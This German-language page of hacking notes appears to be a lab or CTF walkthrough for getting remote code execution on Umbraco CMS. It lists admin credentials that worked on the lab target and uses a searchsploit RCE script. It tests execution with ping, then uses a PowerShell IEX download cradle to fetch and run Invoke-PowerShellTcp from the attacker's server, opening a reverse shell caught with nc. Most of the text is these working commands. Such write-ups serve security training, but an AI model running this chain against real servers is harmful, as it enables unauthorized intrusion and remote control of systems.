> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/umbraco-cms-exploitation.md).
# Umbraco
Umbraco-CMS-Exploitation-Notizen für authentifizierte RCE, Anpassung von SearchSploit-Payloads, Validierung von Command Execution, PowerShell-Download-Cradle und Reverse-Shell-Zugriff.
## Schwachstelle RCE (Umbraco CMS)
Es wird ein Admin-Panel gefunden; teste die Authentifizierung als Admin-Benutzer:
`admin@htb.local:baconandcheese`
Zugriff wird gewährt.
Suche `Searchsploit` für dieses CMS und finde ein Umbraco-RCE-Skript.
`searchsploit -m aspx/webapps/46153.py`
Ändere die Login-, Passwort- und Host-Parameter im Skript.
**Verbindungstest mit ping:**/ Führe diesen Befehl gegen den Server aus und höre mit tcpdump mit.
```bash
/c ping 10.10.14.6
tcpdump -i tun0 icmp
```
Sobald die Ausführung des Befehls bestätigt ist, hoste das `PS.ps1` Skript auf der Angreifer-Maschine.
{% embed url="" %}
Füge die folgende Zeile am Ende des Skripts hinzu:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```
Host `PS.ps1` mit einem Webserver:
```bash
python3 -m http.server 80
```
Dann ändere den Befehl so, dass er auf den Webserver des Angreifers verweist:
{% code fullWidth="true" %}
```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```
{% endcode %}
Starte schließlich einen Listener auf Port 4444:
```bash
rlwrap nc -nlvp 4444
```
---
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